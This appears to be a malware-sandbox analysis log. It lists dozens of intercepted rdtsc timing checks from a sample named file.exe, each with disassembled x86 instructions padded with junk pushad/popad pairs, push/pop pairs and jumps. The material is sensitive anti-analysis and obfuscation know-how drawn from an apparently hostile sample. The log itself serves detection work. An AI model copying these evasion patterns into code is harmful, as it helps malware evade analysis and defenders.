Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53700E0 second address: 5370102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007FD2884F85D5h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370102 second address: 5370167 instructions: 0x00000000 rdtsc 0x00000002 mov al, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FD288CC4A6Ah 0x0000000c jmp 00007FD288CC4A75h 0x00000011 popfd 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 jmp 00007FD288CC4A6Eh 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d movzx ecx, bx 0x00000020 pushfd 0x00000021 jmp 00007FD288CC4A79h 0x00000026 jmp 00007FD288CC4A6Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370167 second address: 53701C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FD2884F85CEh 0x0000000f mov ebx, dword ptr [ebp+10h] 0x00000012 jmp 00007FD2884F85D0h 0x00000017 xchg eax, esi 0x00000018 jmp 00007FD2884F85D0h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD2884F85CEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53701C8 second address: 53701DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD288CC4A6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53701DA second address: 53701DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53701DE second address: 53701F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD288CC4A6Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53701F3 second address: 53701F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53701F9 second address: 537021A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD288CC4A74h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537021A second address: 5370247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2B612154h 0x00000008 mov ecx, edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FD2884F85D4h 0x00000013 mov dword ptr [esp], edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b mov esi, edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370247 second address: 53702EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 pushfd 0x00000007 jmp 00007FD288CC4A77h 0x0000000c or si, 2DFEh 0x00000011 jmp 00007FD288CC4A79h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d pushad 0x0000001e mov dx, si 0x00000021 movzx ecx, bx 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007FD288CC4A6Bh 0x0000002b add si, 800Eh 0x00000030 jmp 00007FD288CC4A79h 0x00000035 popfd 0x00000036 popad 0x00000037 je 00007FD2FAD02DBDh 0x0000003d pushad 0x0000003e mov ecx, 614CD7B3h 0x00000043 mov si, 3C0Fh 0x00000047 popad 0x00000048 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004f pushad 0x00000050 movzx ecx, bx 0x00000053 mov di, 36A0h 0x00000057 popad 0x00000058 je 00007FD2FAD02DB2h 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53702EB second address: 53702EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53702EF second address: 53702F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53702F5 second address: 5370362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007FD2884F85D6h 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 jmp 00007FD2884F85D0h 0x00000019 test edx, 61000000h 0x0000001f jmp 00007FD2884F85D0h 0x00000024 jne 00007FD2FA536900h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD2884F85CAh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370362 second address: 5370371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370371 second address: 53703C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d jmp 00007FD2884F85CEh 0x00000012 jne 00007FD2FA5368C7h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FD2884F85CCh 0x00000021 sub ax, BD98h 0x00000026 jmp 00007FD2884F85CBh 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536097E second address: 5360984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360984 second address: 5360988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360988 second address: 536099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD288CC4A6Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536099F second address: 53609A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609A5 second address: 53609A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609A9 second address: 53609D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FD2884F85D6h 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD2884F85CAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609D9 second address: 53609DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609DD second address: 53609E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53609E3 second address: 5360A0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e mov eax, edi 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ax, bx 0x00000018 mov edx, 1E3C8600h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360A0A second address: 5360A7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 334E00FBh 0x00000008 push ecx 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e jmp 00007FD2884F85CAh 0x00000013 mov esi, dword ptr [ebp+08h] 0x00000016 jmp 00007FD2884F85D0h 0x0000001b sub ebx, ebx 0x0000001d pushad 0x0000001e mov dx, 6042h 0x00000022 pushfd 0x00000023 jmp 00007FD2884F85D3h 0x00000028 sub ch, 0000003Eh 0x0000002b jmp 00007FD2884F85D9h 0x00000030 popfd 0x00000031 popad 0x00000032 test esi, esi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FD2884F85CDh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360A7F second address: 5360AB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD2FAD0A360h 0x0000000f jmp 00007FD288CC4A6Eh 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov esi, 056503F3h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360C3A second address: 5360C59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov si, 8D59h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360CB3 second address: 5360CC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360CC2 second address: 5360CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360CC8 second address: 5360CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370C9F second address: 5370CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370CA5 second address: 5370CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53709E6 second address: 53709EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53709EA second address: 53709F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53709F0 second address: 53709F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53709F6 second address: 53709FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B79 second address: 53E0B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 1Ch 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FD2884F85CDh 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B98 second address: 53E0B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0B9C second address: 53E0BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0BAF second address: 53E0BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD288CC4A74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E005D second address: 53E0061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0061 second address: 53E0070 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0070 second address: 53E00D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 2AE052DAh 0x00000008 push edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD2884F85D3h 0x00000016 xor ecx, 2BDF052Eh 0x0000001c jmp 00007FD2884F85D9h 0x00000021 popfd 0x00000022 call 00007FD2884F85D0h 0x00000027 mov si, E9C1h 0x0000002b pop ecx 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E00D1 second address: 53E00D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E00D5 second address: 53E00D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E00D9 second address: 53E00DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E00DF second address: 53E00E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380014 second address: 5380028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD288CC4A70h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380028 second address: 538002C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538002C second address: 538006D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD288CC4A79h 0x00000012 or si, 2BF6h 0x00000017 jmp 00007FD288CC4A71h 0x0000001c popfd 0x0000001d mov di, si 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538006D second address: 5380089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2884F85D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380089 second address: 538008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538008D second address: 53800CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FD2884F85D7h 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 mov dh, ah 0x00000015 jmp 00007FD2884F85D1h 0x0000001a popad 0x0000001b pop ebp 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E02F7 second address: 53E02FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E02FD second address: 53E034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, E263h 0x00000007 pushfd 0x00000008 jmp 00007FD2884F85D8h 0x0000000d or ax, B0A8h 0x00000012 jmp 00007FD2884F85CBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push dword ptr [ebp+0Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD2884F85D5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E034B second address: 53E03D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD288CC4A77h 0x00000009 sbb ax, F34Eh 0x0000000e jmp 00007FD288CC4A79h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FD288CC4A76h 0x00000023 or esi, 5BAE82F8h 0x00000029 jmp 00007FD288CC4A6Bh 0x0000002e popfd 0x0000002f jmp 00007FD288CC4A78h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03D0 second address: 53E03D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03D6 second address: 53E03DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E03DA second address: 53E040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 9DC6C9E1h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD2884F85D9h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E040F second address: 53E0413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0413 second address: 53E0419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E045F second address: 53E0465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0465 second address: 53E0469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BBA4 second address: D5BBAE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539046F second address: 539048C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539048C second address: 539050C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD288CC4A77h 0x00000008 call 00007FD288CC4A78h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 jmp 00007FD288CC4A6Eh 0x00000017 mov dword ptr [esp], ebp 0x0000001a jmp 00007FD288CC4A70h 0x0000001f mov ebp, esp 0x00000021 jmp 00007FD288CC4A70h 0x00000026 push FFFFFFFEh 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b call 00007FD288CC4A6Dh 0x00000030 pop eax 0x00000031 mov esi, ebx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539050C second address: 5390587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2884F85D8h 0x00000008 call 00007FD2884F85D2h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push 22A48DA0h 0x00000016 jmp 00007FD2884F85CEh 0x0000001b xor dword ptr [esp], 55E54DB8h 0x00000022 jmp 00007FD2884F85D0h 0x00000027 call 00007FD2884F85C9h 0x0000002c jmp 00007FD2884F85D0h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390587 second address: 539058B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539058B second address: 5390591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390591 second address: 5390597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390597 second address: 539059B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539059B second address: 539059F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539059F second address: 53905BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FD2884F85CCh 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov ch, bl 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53905BE second address: 539068E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD288CC4A78h 0x00000008 sbb cx, DC08h 0x0000000d jmp 00007FD288CC4A6Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FD288CC4A78h 0x0000001b and esi, 46F7FE68h 0x00000021 jmp 00007FD288CC4A6Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c pushad 0x0000002d call 00007FD288CC4A6Fh 0x00000032 mov ah, 9Bh 0x00000034 pop edi 0x00000035 mov ax, 0561h 0x00000039 popad 0x0000003a pop eax 0x0000003b pushad 0x0000003c mov ah, FFh 0x0000003e pushfd 0x0000003f jmp 00007FD288CC4A6Fh 0x00000044 jmp 00007FD288CC4A73h 0x00000049 popfd 0x0000004a popad 0x0000004b mov eax, dword ptr fs:[00000000h] 0x00000051 pushad 0x00000052 jmp 00007FD288CC4A74h 0x00000057 mov si, 7B21h 0x0000005b popad 0x0000005c nop 0x0000005d pushad 0x0000005e mov esi, 11066D59h 0x00000063 push eax 0x00000064 push ebx 0x00000065 pop eax 0x00000066 pop ebx 0x00000067 popad 0x00000068 push eax 0x00000069 pushad 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539068E second address: 53906A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 pushad 0x00000009 mov bh, 44h 0x0000000b mov di, ax 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53906A3 second address: 53906D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD288CC4A70h 0x00000009 pop eax 0x0000000a popad 0x0000000b movsx ebx, cx 0x0000000e popad 0x0000000f sub esp, 1Ch 0x00000012 jmp 00007FD288CC4A6Ah 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53906D1 second address: 53906D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53906D5 second address: 53906DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53906DB second address: 5390703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e mov dx, cx 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390703 second address: 5390707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390707 second address: 539070B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
